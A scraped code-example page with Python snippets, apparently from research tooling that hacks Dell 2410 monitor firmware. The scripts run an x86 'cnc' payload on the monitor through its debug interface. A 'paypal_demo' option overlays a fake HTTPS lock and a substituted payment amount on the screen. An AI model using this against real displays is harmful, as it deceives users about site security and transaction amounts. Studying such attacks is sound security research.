Ejemplo n.º 1
0
def put_unicorn(dev, images):
    unicorn_coordinates = (0x60, 0x39)
    unicorn_image_info = images['unicorn']
    delltools.put_image(dev, unicorn_image_info, unicorn_coordinates[0], unicorn_coordinates[1])
Ejemplo n.º 2
0
def put_shak(dev, images):
    shak_coordinate = (0x60, 0x39)
    shak_image_info = images['shak']
    delltools.put_image(dev, shak_image_info, shak_coordinate[0], shak_coordinate[1])
Ejemplo n.º 3
0
def put_ssl_lock(dev, images):
    lock_coordinate = (0x5e, 0x38)
    lock_image_info = images['lock']
    delltools.put_image(dev, lock_image_info, lock_coordinate[0], lock_coordinate[1])
Ejemplo n.º 4
0
def red_hmi(dev, images):
    red_coordinate = (0x332, 0x21b)
    red_image_info = images['red']
    delltools.put_image(dev, red_image_info, red_coordinate[0], red_coordinate[1])
Ejemplo n.º 5
0
parser = argparse.ArgumentParser(description='patch vsync interrupt')
for arg in ARGS:
    parser.add_argument(*arg['args'], **arg['kwargs'])

args = parser.parse_args()

payload = X86Payload("cnc")
dell = protocol.Dell2410()
dell.initialize()
dell.debug_on()

if args.paypal_demo:
    lock_image = DellImage("lock_https.gif")
    lock_metainfo, _ = delltools.upload_single_image(dell, lock_image,
                                                     0x600000)
    delltools.put_image(dell, lock_metainfo, 0x63, 0x4a)
    time.sleep(2)
    # put default image
    amount_image = DellImage("amount_image.png", 255 - lock_image.colors)
    amount_metainfo, _ = delltools.upload_single_image(
        dell, amount_image, 0x600000, clut_offset=lock_image.colors)
    delltools.put_image(dell,
                        amount_metainfo,
                        134,
                        330,
                        sdram_loc=0x1000 >> 6,
                        tile=1)

delltools.execute_payload(dell, payload, 0x6000)
dell.debug_off()
Ejemplo n.º 6
0
from image import DellImage, get_control_struct
import argparse

ARGS = [{"args": ("--paypal_demo", "-p"), "kwargs": {"action": "store_true", "help": "do the paypal_demo"}}]


parser = argparse.ArgumentParser(description="patch vsync interrupt")
for arg in ARGS:
    parser.add_argument(*arg["args"], **arg["kwargs"])

args = parser.parse_args()

payload = X86Payload("cnc")
dell = protocol.Dell2410()
dell.initialize()
dell.debug_on()

if args.paypal_demo:
    lock_image = DellImage("lock_https.gif")
    lock_metainfo, _ = delltools.upload_single_image(dell, lock_image, 0x600000)
    delltools.put_image(dell, lock_metainfo, 0x63, 0x4A)
    time.sleep(2)
    # put default image
    amount_image = DellImage("amount_image.png", 255 - lock_image.colors)
    amount_metainfo, _ = delltools.upload_single_image(dell, amount_image, 0x600000, clut_offset=lock_image.colors)
    delltools.put_image(dell, amount_metainfo, 134, 330, sdram_loc=0x1000 >> 6, tile=1)


delltools.execute_payload(dell, payload, 0x6000)
dell.debug_off()